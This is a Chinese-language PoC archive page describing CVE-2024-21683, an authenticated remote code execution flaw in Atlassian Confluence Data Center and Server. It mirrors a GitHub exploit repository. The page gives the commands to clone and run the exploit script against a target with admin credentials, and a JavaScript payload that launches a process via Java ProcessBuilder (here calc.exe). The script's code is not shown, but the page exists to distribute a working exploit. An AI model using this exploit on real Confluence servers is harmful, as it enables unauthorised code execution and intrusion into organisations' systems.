POC详情： 8dfa5c4b3ad22caf777fc896bb96de84c85285c5

来源
https://github.com/W01fh4cker/CVE-2024-21683-RCE
关联漏洞
标题： Atlassian Confluence 安全漏洞 (CVE-2024-21683)
描述：Atlassian Confluence是澳大利亚Atlassian公司的一套专业的企业知识管理与协同软件，也可以用于构建企业WiKi。 Atlassian Confluence Data Center and Server存在安全漏洞，该漏洞源于存在远程代码执行问题，允许经过身份验证的攻击者执行任意代码。
描述
CVE-2024-21683 Confluence Post Auth RCE
介绍
# CVE-2024-21683-RCE

# Credit

>https://x.com/realalphaman_  

>https://realalphaman.substack.com/p/quick-note-about-cve-2024-21683-authenticated  

# Usage

```shell
git clone https://github.com/W01fh4cker/CVE-2024-21683-RCE
cd CVE-2024-21683-RCE
pip install requests bs4
python CVE-2024-21683.py -u http://192.168.198.1:8090 -au admin -ap admin -f exploit.js -n test -p http://127.0.0.1:8083
```

![](https://cdn.jsdelivr.net/gh/W01fh4cker/blog_image@main/image-20240523170746510.png)

`exploit.js`:

```java
new java.lang.ProcessBuilder["(java.lang.String[])"](["calc.exe"]).start()
```
文件快照

 [4.0K]  /data/pocs/8dfa5c4b3ad22caf777fc896bb96de84c85285c5
├── [3.9K]  CVE-2024-21683.py
├── [  74]  exploit.js
└── [ 592]  README.md

0 directories, 3 files
神龙机器人已为您缓存
备注
    1. 建议优先通过来源进行访问。
    2. 如果因为来源失效或无法访问，请发送邮箱到 f.jinxu#gmail.com 索取本地快照（把 # 换成 @）。
    3. 神龙已为您对POC代码进行快照，为了长期维护，请考虑为本地POC付费，感谢您的支持。